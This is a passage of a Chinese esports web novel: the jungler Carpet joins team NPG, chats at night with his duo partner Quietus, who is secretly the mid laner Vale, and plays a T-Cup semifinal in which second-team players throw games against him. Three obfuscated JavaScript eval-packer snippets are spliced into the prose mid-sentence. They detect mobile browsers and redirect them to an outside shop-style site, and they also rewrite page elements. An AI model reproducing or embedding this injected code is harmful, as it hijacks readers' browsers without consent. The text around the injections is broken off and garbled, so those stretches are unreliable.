李扶砚瞪他,“那你就滚,矫情什么。” “不要。” “臭小子!” “扶砚哥说什么?”两人已经走到训练室附近,听到他俩对话的ADC探出头来,“我又有哪里做的不对吗?” 李扶砚扶额,“林冬均,没说你,别什么话都往自己身上拦。” 两人进了训练室,宋澈见到了周围或站或坐的几人,谢予辞正被教练拉着单独嘱咐,见他进来投来目光笑着示意。 李扶砚为他介绍队友,他先一把扯过乱接下茬的ADC,“这是林冬均,一队AD,你那天试训跟他打过。” 林冬均在NPG中年纪最小,刚刚成年,脸上带着明显的稚气。他从头到脚扫了宋澈一遍,从喉咙里挤出句,“哦......啊!” 第二声是被李扶砚痛击后脑勺发出的哀嚎。 “扶砚哥,干嘛打我。” “还好意思问,你的礼貌哪里去了?”李扶砚不满地说。 “......” “说话!” 林冬均把头扭到一边,不去看辅助和打野。 宋澈倒没觉得他的态度有什么,李扶砚却被气得够呛,还想数落几句,就见谢予辞已经注意到这边的动静,“冬均怎么了?” 队长发话总不能装没听见,林冬均嘀咕了句,“你好,我是Rainstorm。” 那样子不情不愿极了。 一直坐在旁边没吭声的上单出来改善气氛,“Carpet选手,我是周衡,id是Aatrox。这赛季拜托你多来上路,千万别迟到。” 今年NPG夺冠后续约了下路组,上单S赛前早早提了赛季末离队,时间充裕的情况下他们找到了一位非常有经验的冠军上单接棒。 LPL剑魔绝活哥的大名宋澈早有耳闻,他郑重地点头应下。 谢予辞被他俩逗笑了,假装赌气道,“那可不行,小澈已经答应过我要多抓中了。” 称呼一出口,宋澈立马感受到李扶砚投来诧异交杂敬佩的瞻仰目光。 几人简单完成介绍,等在一旁的陈铎监督顺势结果话头,为他们介绍了赛训组成员。 “好了,以上就是我们本赛季全部人事安排。选手们嘴上说得再多,也不如比赛中见真章。春季赛开始前你们还有一个月时间彼此熟悉了解。今天我们先试着打几把训练赛找找感觉,不用太正式。予辞下午不在,我会叫二队中单来顶上。” 宋澈听完安排,没什么意见,只关心谢予辞下午的请假。 整个电竞圈都知道,Vale是业内闻名的劳模,顶着伤病训练是家常便饭。 宋澈正犹豫着直接开口问会不会失礼,就听见谢予辞说,“下午只是去医院复查一下,没什么大碍。” 他抬头,正好对上谢予辞的眼神,显然这话是说给他的。 “小澈,要是有什么问题随时给我发消息吧。”谢予辞晃了晃手中的手机。 “好,予辞哥。” 旁边传来阴恻恻的碎碎念,“他说‘好’,扶砚哥,这个人难道有礼貌吗?哎,干嘛拧我。” 嘴上虽不饶人,但下午的训练中林冬均表现得异常靠谱,没试图给队伍找不痛快。他团战精准的输出位置让宋澈心里暗自感叹,不愧是出道第一年就能在团队不倾斜资源的情况下,顶住一众老牌AD的压力夺冠的天才。 辅助李扶砚是老熟人,打法风格和他的人一样,天马行空的指挥思路后是扎实基本功带来的细腻操作。 而唯一没合作过的周衡嘴上说着“打野多来抓”,其实深谙上单混学之道,玩肉不上头,拿到战士型英雄后该C就C,不亏是现在市面上最顶尖的蓝领上单之一。 宋澈看着他们仨,再回忆起次级联赛的那帮牛鬼蛇神,竟有种恍如隔世的解脱感。 一天训练结束,四人对各自打法和习惯心里都有了数,彼此间相处的气氛也自然融洽了许多。除了林冬均,他对上辅都是乖巧弟弟的做派,唯独到了宋澈面前立马垮脸,配上毫不含糊的操作,很难不评一句冷脸洗内裤。 宋澈一点都没把他的怨气放在眼里,在宿舍门口挥手告别时还不忘给低着头的AD单独focus。 凌晨四点,就连大部分作息反人类的电竞选手们都已经睡下。窗外的夜色浓重,单人宿舍里静得能听到从耳机里泄露出的游戏音效。 电脑屏幕中,塔莉垭将脚下的磐岩编织成致命武器,决胜团果断闪现调整身位,岩突抬回走位失误的双c。另一边,辅助巴德绕后参战。趁着敌方注意力被岩雀吸引,用启封秘籍换来的惩戒抢下远古龙。 队友们将技能精准地倾斜而下,六千经济的落后被瞬间抹平,几个呼吸间峡谷攻守易势,团战一换四大胜。 宋澈看着屏幕上的“胜利”图标,脑子空白几秒,只听见自己心脏在耳机内咚咚狂跳。 最后一波翻盘操作太过极限,致使比胜利的喜悦先一步漫上来的是手心冰凉的潮湿,和因为过度用力残留的细微颤抖。 Quietus:手没关系吧? 宋澈愣了一下,他下意识地活动手腕,仿佛对方真能透过屏幕看见似的。 NPG Carpet:哥怎么全都知道。 Quietus:很好猜。毕竟刚才那种操作,换谁都会克制不住激动。要记得做手腕按摩操哦。 NPG Carpet:太夸张了。 Quietus:使用华丽的操作carry比赛,赢下游戏,就要好好享受。 Quietus:赛后保养也是胜利的一部分 宋澈的脸颊仍然因为精神高度集中而微微发烫。 NPG Carpet:赢了是赢了,但如果是正式比赛,复盘的时候肯定会被骂不该那么冒险。应该先做视野,等待队友到齐,慢慢调整团战阵型。 Quietus:有谁似乎说过类似的话,职业比赛就是把灵光一闪的精彩操作用录像储存起来,再花一万个小时将它们变成随时都能复刻出来的标准化流程。 NPG Carpet:......是NPG的陈监督。 陈铎监督是格拉德威尔学说的支持者。每年投入3300小时进行专业训练,三年后任何人都能成为特定领域的世界级专家。 上司如此执教,队伍的赛训组自然有样学样。 NPG Carpet:可这种程度努力只是司空见惯的基础。 它只能让本就游戏天赋卓绝的人勉强打上职业,在次级联赛找到份工作而已。甚至不乏有大把玩家投入在一两个英雄上的时间远超于此。 Quietus:能把喜欢的事情重复做上无数遍,直到变成谁都无法替代的存在,是件浪漫的事情。 Quietus:不管教练怎么唠叨,刚刚的操作确实很帅气,这点不会改变的对吧? NPG Carpet:哥,你说话好像Vale,我原来亲眼看到过予辞哥这样忽悠着青训生加训。他们练到快要猝死了,还眼泪汪汪一脸感动。 Quietus:啊,那我骗到pet的眼泪了吗?[兔子歪头.jpg] NPG Carpet:跟哥相处是不会流泪的。 宋澈看着那个毛茸茸的兔子表情,嘴角忍不住弯了一下。整个世界随着这笑容不断缩小,小到只能容纳两人。 他扭头望向窗外,天边已经透出些许熹微的晨光。 Quietus:不说了,天快亮了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278591|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们未来的传奇打野该去休息了。 NPG Carpet:嗯。哥也早点睡。 Quietus:晚安,pet。 宋澈收拾好东西觉得口干,蹑手蹑脚来到宿舍公共厨房倒水喝。 他顺手掏出手机,登录这几天都没上的粉丝群,冷清的群聊此时信息已经刷屏。 翻到最上面,先是猜他去了哪里试训,后来估计是看到了内鬼消息,对他要去NPG感到不可置信。 中间快进部分不知道发生了什么,等跳到最新消息,群里已经莫名其妙地成立了个不知所谓的反黑组,几个大哥声泪俱下地刨白一直把宋澈当亲弟弟看,誓要守护Carpet清誉。 宋澈:什么玩意? 他点进群里几个粉丝分享的链接,发现都是微博和论坛的帖子。 【奶泡糕你们毁了我,别队粉朋友过来问我这个车宠是谁,我支支吾吾半天一个屁都不敢放啊!】 【死抠比COO滚啊,能不能报警查查他?!Vale挣的钱是被你们埋在新大楼地基里了吗,你们也要玩最已阵那套我就去吊死在你们基地门口】 【喜欢上这个队伍后我一个内向的小女孩话变得特别多,你们把我当人了吗,我不是M啊】 【呵呵,当初不舍得给Arrival匹配成绩的工资,现在怎么可能愿意花钱买顶尖选手】 【冠军的小偷~??】 【?木叶村内部事务,叛忍也配说话。封临背刺投敌,奶泡糕毫无准备之下只能选车宠。】 【唯一该感谢Carpet的人就是他吧,当初Carpet出去闯荡让他不用吃一辈子剩饭,现在又来给他擦屁股蹭了自己一身。】 宋澈毫无波动。 在青训营那会谢予辞有个不为人知爱好,就是趁休息时间带着宋澈欣赏粉丝的锐评,试图从中掌握其他青训生不愿意在他面前说的新梗。 那会NPG和Vale已经几年无冠,评论区肮脏到了让宋澈反思自己为什么能看得懂中文的程度。 [群主]Carpet:大家不用在这种事情上耽误时间,我不在意。 忽然,门口传来极细微的开锁声。 宋澈还以为队友们早就已经睡下了,他诧异地探头去看,就见谢予辞带着凛冽的寒气推门而入,与他撞上,明显也很意外。 “小澈,都这个时间了,怎么还没休息?” 宋澈见他脸都冻得发红,拿新杯子倒满热水,给谢予辞捂手。 “我还想问,予辞哥今天下午不是请假了吗,怎么这么晚才回来?” 谢予辞顺势坐在他身旁,放轻声音,生怕吵醒其他三个小夜猫子,“我想着白天的训练量总得找时间补上,索性就不往后拖了。” 言下之意就是他在基地加训到了现在。 “予辞哥,你得多爱惜自己。”话一出口宋澈便想收回来,这种强硬略带说教的语气实在不该拿来对待谢予辞。 谢予辞看他这幅样子,忍不住笑,“好,我接受批评。那关爱健康的Carpet老师怎么还没睡着呀?” 宋澈说不出话来。 两人静坐着,宋澈盯着谢予辞一点点抿水。 “对了,有件事监督让我跟你转达,本打算着明天再说,没想到这么巧。”谢予辞想到什么似的转过头,他的脸庞在隐隐的晨光中白得透明,“队伍把你写进今年的T杯大名单了。” “从淘汰赛开始,我们要一起去帮二队的孩子们夺冠。” “T杯?”宋澈疑惑。 他知道这个比赛,但没觉得它会和现在的自己有什么关系。 赛季前的杯赛全名“Ascend the throne”,登上王位之路,大家简称为T杯或者王座杯。 它的特别之处在于次级联赛与一级联赛队伍都可以报名参与。 并且由于顶尖战队每年都有S赛的征程,放假和收队的时间都比其他队伍晚一个月。T杯开赛时明星选手们通常还处在刚收假回来,寻找状态熟悉新队友的调整期。 因此这些队伍通常安排主力队员直接备战春季赛,T杯则会进行轮换,给二队或青训选手展现自我的舞台。 对于大部分下游队伍们来说,这几乎是他们本年度唯一站上领奖台的机会。 NPG也不例外,第一届T杯上主力夺冠后,他们后续每年都是派出二队或者看好的青训生参加。NPG里许多被正式登上LPL的青训生都选择T杯作为初舞台。 “昨天小澈不是说想要走黄金之路吗?那就得拿下所有冠军,收获完美无瑕的赛季才行。”谢予辞说。 “做好准备了吗?” 宋澈心里一一记着,相处短短两三天时间,他竟然已经有数次在谢予辞面前语无伦次的体会。他重回NPG时分明是打算让谢予辞看到自己的成长,可那幅帮助他冲出次级联赛的波澜不惊,摆在谢予辞面前时成了能被随手搅乱的池水。 想法不断打转,说出口的只有一句,“嗯,予辞哥。” 他早早就准备好了。 很早以前。 8. 第 8 章 出于对选手的保护,在征求宋澈的意见后,NPG把他的初见直播安排在T杯之后,希望他在取得些成绩后再亮相,给粉丝一记定心丸。 换而言之,NPG对宋澈的期望是T杯一定要夺冠,最好是老大冠军。 事关年后第一批周边销量,队伍赛前会时就直白地把其中考量摊开在宋澈和二队选手面前。 陈铎监督亲自去嘱咐,公事公办道,“T杯上你们的定位是Carpet的陪衬。” 个别还不习惯他行事风格的二队选手听完后喜色全无,显然内心不服,更有甚者还小声抱怨了一句。 “他一个次级联赛打野空降去一队就算了,为什么还要来跟我们抢上场机会。” 想尽情地展示自己是人之常情,打出高光操作更是职业选手必备的强烈欲望,宋澈不觉得有什么,便没吭声。 陈监督看他一副事不关己的样子,料想宋澈也不是什么领导力EX的人才,还不如靠他亲力亲为,“我管不了你们心里是怎么想的,我只在乎结果,必须要让粉丝们通过T杯亲眼看到Carpet的优势。如果你们谁觉得自己的感受可以凌驾于队伍的决策之上,可以直接离开另谋出路。” “就算是Vale来了,NPG的队标也是写在选手ID前面的。”陈铎扫视一圈,二队选手纷纷低头。 目光转到宋澈身上,他一如既往地不闪不避。 “陈监督,我能做到。”宋澈笃定。 陈铎见状语气放缓些,“你们唯一需要注意的就是四强赛和半决赛,届时可能会遇上几个老对手的满编二队。至于决赛,遇上谁都不用担心,Vale会上场。” 刚刚蔫头耷脑的二队选手眼睛一下子亮了。Vale上场会带来大量曝光度自不必说,能和Vale一起打一次决赛,即使是T杯也是异常难得的宝贵经历。 宋澈闻言也有些惊讶,那天晚上谢予辞只说队伍给Carpet报了名,没提过自己还要亲自上场。 NPG在培养选手上永远是封建大家长做派,在一次版本更新就会让游戏理解天翻地覆的电子竞技领域,他们固执地坚持以线最短的中路为核心建立队伍。每个从这走出来的中单都要承担队伍指挥任务,如果某届出现在操作上极为突出的选手,才会选择让打野和辅助分担压力。 谢予辞作为一个典型的指挥型中单,参加T杯并不是拨冗三个小时来打一场BO5这么简单,他需要提前掌握二队选手们的操作习惯,运营思路,了解比赛对手的资料。这无疑会大量占用谢予辞原本的休息和恢复时间。 宋澈也顾不得场合,下意识追问,“监督,您不让予辞哥好好休息一段时间吗?” 听他这么问,陈铎满脸一言难尽地瞥他,没好气地丢下句“呵,你回宿舍自己问他去吧”,头也不回地走了,留剩下几个人面面相觑。 宋澈看着他的背影,莫名觉得平日里持重的监督有几丝气急败坏的意味。 职业道德高尚的陈监督不屑跟小孩们较劲,选择把气洒在罪魁祸首身上。 幸好在见过自己初入职场时狼狈姿态的得意门生面前,他不必时刻维持严肃。 陈铎一路上到高层的休息区,推门看见正趴在床上照灯的中单,一股无名火冒了上来,“你一天到晚就不能消停点吗?” 老实趴着却无辜被骂的谢予辞:...... 谢予辞回想今天陈铎的工作安排,很快就意识到自己哪里招惹对方了,打趣道,“陈监督,您说过,这都是为了明年营业额呀。” “这事万一被粉丝知道就不是营业额的问题了。”陈铎心力憔悴,这种恐怖的画面光是设想一下就让他不寒而栗。 一旦被Vale粉丝知道NPG为了一个区区T杯冠军压榨谢予辞的养伤时间,消息是下午走漏的,整个管理层的身份证是晚上被轮的,战队大楼是凌晨变成遗址的。而他身为监督收到的就绝不只是横幅了。 “就算你不放心非得派人去,让一队其他人干点活不行吗?” 谢予辞拨弄着手指给他数道,“之前冬均看样子跟小澈不对付,扶砚他还不够为冬均的事头疼呢,周衡选手刚办完转会手续,哪有公司一上来就让新员工无偿加班。” 他笨拙地从床上翻身爬起来,“陈监督,队医不是也说我没什么事吗。训练之外我会注意绝卧的,别担心。” 陈铎眯起眼睛,逮捕假装若无其事的中单,“那你现在爬起来是想要干嘛?” 谢予辞僵住,讨饶说,“让我打一局Rank吧,今天我都被关在这里一下午了。” 陈铎服了他,“......你戒戒网瘾吧谢予辞。” 如同之前每一次一样,谁都倔不过手痒的谢予辞,陈铎被他哄出房间。 谢予辞暗暗松了口气,心里向对方道了声抱歉。 他确实着急开游戏,但不是想玩,而是因为Quietus这个账号距上次登录已经过了太久了。 自从那天凌晨跟宋澈双排完后,他下午被扣着疗养,晚上跟队伍一同磨合训练,宋澈也是个内卷型选手夜夜加练,谢予辞实在找不到一个人独处的时间登录Quietus账号。 这跟Quietus是非职业玩家的普通社畜人设不符,哪有普通人凌晨和上午玩游戏,晚上下班后倒不上线的? 这样下去小澈这么敏锐的孩子肯定会发现异常。 谢予辞深感头疼,虽然初遇的确是完完全全的意外,但他目前并没有做跟宋澈坦白的准备。 今年年初,由于大号被开盘开得太严重,队伍给他准备了许多宗师段位的小号供他Rank。这些账号都是二队孩子们训练时的副产物,没在OPGG中标注,没人会盯着他在游戏中的一举一动无限放大,他玩时也在不知不觉稍微放飞了一些,导致打出了许多奇怪的东西。 就比如Quietus这个用来过辅助瘾的账号。 17%胜率锤坦牛布芮堂堂登场! 反正宗师分段对他来说随便c,谢予辞更加肆无忌惮,玩起杂技辅助来无所不用其极。 那段时间峡谷高分段玩家之间流行起恐怖的都市传说,有时在凌晨Rank会遇到一个诡异的辅助,拿着千奇百怪的法师战士把对面统统打爆,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278592|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果你在BP时点菜了正经辅助,Ta虽然会顺从地选下,但进入游戏后下路对线就会遭遇诅咒,ADC必然被气得原地爆炸。 恐怖故事愈演愈烈,谢予辞的分越来越高,直到某天他跟那位不辞而别的小打野撞车了。 一把总体来说尚在掌控之内的攀岩组合结束,前缀着陌生队名的Carpet竟然主动私信他。 BG Carpet:辅助玩得很好,要一起继续吗? 显然,宋澈非常有眼光,但没认出他。 那时看着屏幕黑底白字的深情赞美,谢予辞承认自己没能抵抗诱惑,代价就是从此之后他们的关系发展如野马脱缰,一路超出了他的掌控。 谢予辞登录客户端,宋澈显示在线,右下角果不其然已经堆满他的碎碎念。 他上翻,基本是汇报生活和训练中的小事和烦恼。宋澈说来到了NPG,有些东西很熟悉,有些有跟之前完全不一样了。宋澈说跟新队友们开始磨合后,感觉自己之前待在次级联赛宛如坐井观天,出色的选手那么多,他却为一场升级赛内心自喜。宋澈说他又见到Vale选手了,明明希望能展现成熟选手的一面,结果失败了。 最后一条是小心翼翼的询问会不会打扰到他。 谢予辞叹了口气。就是这样——贪图宋澈对他辅助能力的认可,错过第一次撞车时就坦白的时机后,拨乱反正便遥遥无期。时至今日对方全然信任的态度让他怎么可能说得出口! 这不是显得他在仗着身份玩弄后辈感情吗! Quietus:我不觉得倾听pet的烦恼会让我困扰。倒是pet,在生活中总是担任最沉稳的角色精神属性会下降很快哦。 谢予辞刚回复完,宋澈的消息立马跟上了。 NPG Carpet:哥不会觉得我纠结于这些事情很没有意义吗? Quietus:只是寂寞了吧。 Quietus:pet是位很出色的选手,所期待的难不成只是升级后在联赛吊车尾的位置,拿着一笔不菲的薪水,秋天享受三个月带薪假期?不愿意给自己的未来编织草率的结果,是好事呀。 极端高压和极端空虚的反复交替让许多人在其中迷失了自己的位置,但犹豫和迷茫本就是人类性情中自有恒有的难题。 一时的喜爱将转瞬即逝,高光当真如光流逝于指缝,热情挨不过训练室中长久的等待,多巴胺代谢失衡在强刺激环境中也司空见惯。 随着职业生涯的继续,新老选手们从身边匆匆行过,谢予辞也逐渐察觉到如果无法在屏幕以外找到可以为之纠结的事或物,让自己的心灵充实起来,选手们很快会在枯燥的重复训练中,眼睁睁地看着原本能获取到乐趣的游戏变成自己职业生涯中一切痛苦的源泉。 NPG Carpet:哈,哥是什么全肯定BOT吗?不能太惯着我。 Quietus:说实话都不可以吗,pet有点过分~ NPG Carpet:嗯......这两天忽然感觉哥说话跟予辞哥好像。 谢予辞笑容消失,顿时吓出冷汗。 9. 第 9 章 Quietus:谢予辞?Vale吗? NPG Carpet:果然Vale的ID即使哥这样的断网玩家也听说过。 看他没有追问的意思,谢予辞松了口气,总之先糊弄过去再说。 NPG Carpet:哥平时都不看职业比赛吧。 Quietus:嗯,因为跟工作时间冲突,所以看得比较少 他在场上打比赛呢怎么看,窥屏吗? NPG Carpet:那,如果有时间,哥可不可以看看这次T杯,回放也可以。淘汰赛我会上场。 谢予辞纳罕,两人双排近一年,宋澈此前从没有主动邀请过他这个网友看自己的比赛,就连对次级联赛队伍而言最重要的升级赛,宋澈都是在赢下名额后才不经意知会他。 如今第一次为此开口,既不是决赛、升级战,也不是LPL联赛初登场。 NPG Carpet:不是故意想麻烦哥,只是T杯比较特殊。 NPG Carpet:原本,青训队伍打算安排我在T杯首秀,对我来说这才是我真正的出道战。 谢予辞对宋澈口中的事有耳闻。 三年前NPG招来了一位备受看好的打野,可惜小天才命途多舛,青训第一年赶上未成年新规被耽误了。队伍实在舍不得那份出众的天赋,硬生生养着他。不尴不尬地晾到第二年,本来连T杯夺冠后的宣发都已经找好,宝贝SSR却不知为何推掉队伍的合同,收拾包袱跑了。 所以谢予辞才能勉强说动陈铎,他们都清楚参加T杯决赛耽误不了Vale多少时间,同样准备去年他已经做过的一次了。 Quietus:pet终于愿意让我看你的比赛,我怎么会没时间呢。 Quietus:可惜,因为工作安排不能到场,不过我会看直播~ NPG Carpet:足够了XD 正如Quietus所说,按理说被勒令修养的谢予辞是去不了,然而试问天底下哪位家长能忍住不看孩子第一次登台参加才艺表演。 四强赛当天,谢予辞谨慎地戴上帽子口罩,把自己包成通.缉.犯,鬼鬼祟祟地溜进赛场观众席。 T杯没什么热门选手,票很好抢,上座率不高。谢予辞自己买了张后排角落票,特意挑了个四周没人的座位,自信满满地想着不会被察觉,结果坐下没几分钟便被当场拆穿。 李扶砚盯着自己座位旁面椅思过的黑影,满脸纠结,迟疑半晌还是问了句,“予辞哥?你这副打扮是在干什么呢?” 谢予辞不说话。 李扶砚试探,“你也是来看宋澈比赛吗?好巧哦,我的票号就在你旁边。” 谢予辞双手把帽檐压得更低了。 李扶砚虽然骂起人来毫不留情,说话也一等一的难听,但不愿意在最尊敬的队长面前暴露这一面。 他尽量收敛锋芒,“安心吧,这个角度所有摄像机都拍不到,咱们放心偷鸡摸狗,我给你打掩护。” 谢予辞无力地扯动他的衣角,示意辅助不要再攻击中单了,他还是不敢抬头,虚弱地说,“扶砚,陈监督和卫教练今天也来了,BP的时候帮我挡着点前面。” 李扶砚大惊失色,“予辞哥,你是偷跑出来看他比赛的?宋澈那个沙——咳,我是说他吃得是真好啊。” 别说是区区T杯四强赛了,他当初打决赛也没见队长大人亲自来督战啊。 此时音乐响起,选手入场落座,谢予辞应声蹲下身躲在座椅后面。 NPG队服主色是白色,在一片昏暗的场馆中本就引人注目,配上打野染成浅金色的头发,整个人在舞台的聚光下异常抓眼。 李扶砚暗骂句“就显着他了”,转头一看队长已经悄悄探头往外看。 辅助心里咯噔了一下又一下,他跟谢予辞同队两年,多少懂得些他的秉性。谢予辞比赛时不得不板起脸摆出队长的强势架势,私下生活里却是个任由他们折腾的好脾气,也从不主动去牵扯进与自身无关的琐事。可自从宋澈来NPG试训开始,这几天来对方种种行为都让他隐隐觉得不对劲。 不容他多想,屏幕画面变化,选手特写依次闪过。BO5,NPG对战WMS满编二队。 LPL的WMS战队,全名为Weird''s Meditations。本来它是顶级联赛老牌豪门,巅峰时也蝉联世界赛一冠两亚。但随着老一辈的明星选手陆续退役,命运女神似乎也不再眷顾他们。时至今日,已连续两年S赛十六强滚蛋了。 今年他们取得了联赛第三的排名,队伍风格稳健,对线期几乎很少出事,运营和团战中规中矩,以“不犯错”著称。青训营和二队虽不如NPG那般人才辈出,但也是新选手入行的不二选择。 第一局双方BP速度很快,几乎没有过多考虑。 NPG选了个野核阵容,明摆着是要让Carpet大显身手,游戏内也的确如此。NPG二队本就位于LPL鄙视链顶端,上流中的上流。田忌赛马找突破口得真有比对面强的硬实力,总不能自己的上等马还没对方的下等马强吧。 更别提现在还有个比赛经验和自身实力都足以媲美一线选手的小代强势加盟。 第一局凭借三路线优和打野出色的野区规划,NPG以碾压式的比分拿下胜利。观众人数虽不多,但解说席和评论席上不停发出阵阵赞叹。 水晶爆炸,中场休息,选手们纷纷回到准备室。李扶砚去看谢予辞的反应,却发现队长的神色并不算轻松。 “予辞哥,怎么了,他们打得有什么问题吗?” 谢予辞目光追随着走在最后的打野,摇摇头,“只换了一个打野,剩下的四位选手团战期却一点联动都没有,运营也有失水准。” 李扶砚笑道,“团战发挥是差,如果不是前期领先太大,或许会被翻。不过打个WMS二队足够了。” “诶,不对啊予辞哥,你是怎么知道二队平常的水准?你还会看他们比赛吗。” 谢予辞没好意思没回话,李扶砚自己想明白了,他嫉妒道,“哈?NPG把你当成那个比的保姆吗?他都多大了,能不能独立行走啊。” 谢予辞眼看下赛季野辅联动要爆炸,努力挽回打野在同期心中的风评,“是我自己要去打的,队伍今年想试着冲大满贯,队长总要开个好头才行。” 李扶砚扭曲爬行,特喵的,更恨他了! 第二把比赛随即开始,上台BP的人换成了教练。 【有人在看T杯吗,NPG新打野Carpet这人有点东西啊】 【刚打完第二局,Carpet死歌的刷野路线和打团操作堪称教科书。20分钟后领先对面打野60刀,这还是在有gank的情况下。这打野意识和操作,说实话,放LPL都能即插即用的水平。】 【我之前研究过他的rank录像,比起操作他最大的特点是记忆力好,执行力高。这种类型的打野真不多,前两个现在都在一级联赛打首发,而且都是各自队伍的核心。】 【又在逗我笑,一场联赛都没上呢,直接开始虚空索敌了。Carpet真有这水平为什么还在次级联赛蹉跎?早点扬名立万不好吗。】 【反正NPG现在已经2:0领先,Carpet连拿两场MVP,人家马上美美下班领MVP奖金去喽~】 【不对!情况有变!有人在犯罪,有很多人在犯滔天大罪!你们快回来!】 场上的比分牌进入2:0,谢予辞的眉头反而锁得更深。这次不需要解释什么,李扶砚已经看出了问题。 他不可置信地向队长确认,收到了肯定地答复。 谢予辞说,“他们在演小澈。” “可是为什么?” 第二把游戏,依然是熟悉的三线强势野核C,单线选手们纷纷依靠对线打出优势。问题还是出在中后期,团战时英雄技能释放毫无配合,团前运营屡次掉点,边路带线过深被抓。如果不是死歌发育实在太好,后期抢下远古龙一个大把全员唱进斩杀线,最终比分或许就是1:1了。 在寻常玩家眼中或许是思想有问题魔怔了,但NPG的选手们自己知道,频繁出现这种低级错误的青训生不可能会被提上二队。 而且最主要的问题不在这,明明他们两个旁观者都能从游戏内容中看出端倪,为什么以纪律严明著称的教练组没有对此做出任何反应? 第三把游戏,就连解说都看出不对了。 “额,NPG今天的发挥似乎不太对。除了他们的打野选手Carpet外,其余几人过了对线期就频繁出现失误,上单单带期过于想追求单杀,中路的指挥调度也跟不上对面节奏,相比之下,下路组除了团战死在不知名角落外算正常人了。”解说不敢明说,委婉地绕着圈子。 他能怎么办,直接在官方解说台上鉴NPG二队在演吗?那可真是上班上累了想对自己好点了。 “WMS已经在开大龙了!NPG有人意识到吗?Carpet意识到了,可他的队友来不了啊!最近的中单至少还要十五秒才能赶到正面,而龙的血量马上要见底了!五千滴、四千滴——” “Carpet也不等了!梦魇直接关灯飞下龙坑,对面辅助可是有换出来的惩戒!——梦魇抢到了!”解说大喊出声。 千钧一猎! 属于打野的高光时刻! 当队伍陷入劣势,便用自己的勇气与果决赢得打破僵局的X属性,时也命也。 现场零散的观众们也被这一幕感染欢呼。 “不过,太可惜了,虽然Carpet抢下大龙,但正面团战少人的情况下,NPG无力招架WMS的强开。” 另外一位解说接话,“正因局势反复,Carpet这位新选手的独到之处才更为突出。即使屡次优势被追回,他心态看上去仍然很稳定,重点是手太稳了,瞬息之间的时机被他把握住了。” “最终比分定格在2:1。WMS扳回一城,让我们继续期待下一把。” 观众席上得谢予辞捂着衣帽猛地站起身,周围的观众陆陆续续起身活动,他的动作不显突兀,只吓到了身边的李扶砚。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278593|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“予、予辞哥,怎么了?” “扶砚,稍等我,比赛结束我送你回去。我先要去确认一下情况。” 不管是为了小澈,还是履行身为队长的责任,这种情况他都没办法放任不管,即使要被陈铎骂他也认了。 谢予辞甩下一句,便顺着舞台一侧匆匆钻进了后台。 他来到没有观众注意到的地方后就摘掉了口罩,沿途的工作人员无人不认识这张脸,一路畅通放行,好心为他指路NPG的准备室。 房间的门半敞着,宋澈的声音透过缝隙传出来。 “每个人都有各自的心思打算,但前提条件是赢下比赛。NPG是什么地方应该不需要我多说吧,前辈们?这里不欢迎败者。而刚刚那三场比赛里,谁是赢家,谁是输家,有人看不清楚吗?” 谢予辞脚步放缓,还从没听过宋澈如此不留情面。 走到门口,看见打野的侧脸。 “作为职业选手你们大可怨我抢了你们的比赛机会和粉丝关注,害怕有人比自己耀眼是赛场上的常情,我不介意,可是我不能容忍你们这样对待比赛。”宋澈徒然止住,说这话时他眉眼舒展,情绪平淡。 “万一耽误了我的黄金之路,你们打算用什么来赔?” 语毕房间内一时死寂,无人敢接话。 谢予辞轻声叫他,“小澈?” 宋澈回过头,看到一身黑的中单,脱口而出,“予辞哥,你怎么来了?” 房间里其余几位选手和教练也对他的出现颇为惊讶,谢予辞与他们点头打过招呼。 他走进屋里,“送扶砚来看比赛,顺路来后台看看我的队友们。” 宋澈想到自己刚刚近乎是训话的发言,脸一下子红了,赶紧找补道,“予辞哥,抱歉,我刚刚是不是乱说话了?” 二队成员们本来还有点心虚,一看宋澈做作的姿态,顿觉无语。 大哥,三秒钟之前你骂人的时候不长这样吧?怎么一见Vale面相都变了? 谢予辞摇头,“哪有,只是跟小澈平时的形象不太一样,有点帅气。” “予辞哥......” 谢予辞笑笑,目光略过队员们,看向站起身迎他的教练,“先不说这个,你们队员间好好交流。卫教练,我有些队伍里的事想请教您,您方便出来一下吗?别打扰孩子们。” “予辞呀,当然,不过要赶在第四局BP开始前。” 今年刚被提上一队的卫珂教练沉默片刻,便从容地跟在谢予辞身后出了门。 宋澈和自己的四位队友围坐一圈,五人就这么干瞪眼。 宋澈自觉言尽于此,不想多费口舌,这几个晕头晕脑的人如果继续冥顽不灵,他的解决方法也只有一个,用比前三把更完美的操作磨削团队差距。 最后还是二队中单先开口,他盯着教练和谢予辞离开的方向说,“待会稳点吧,还是赢重要。” “队长?”二队AD茫然地看着他,“那教练那边?不是说要给Carpet选手上点压力,打个好剧情吗。” 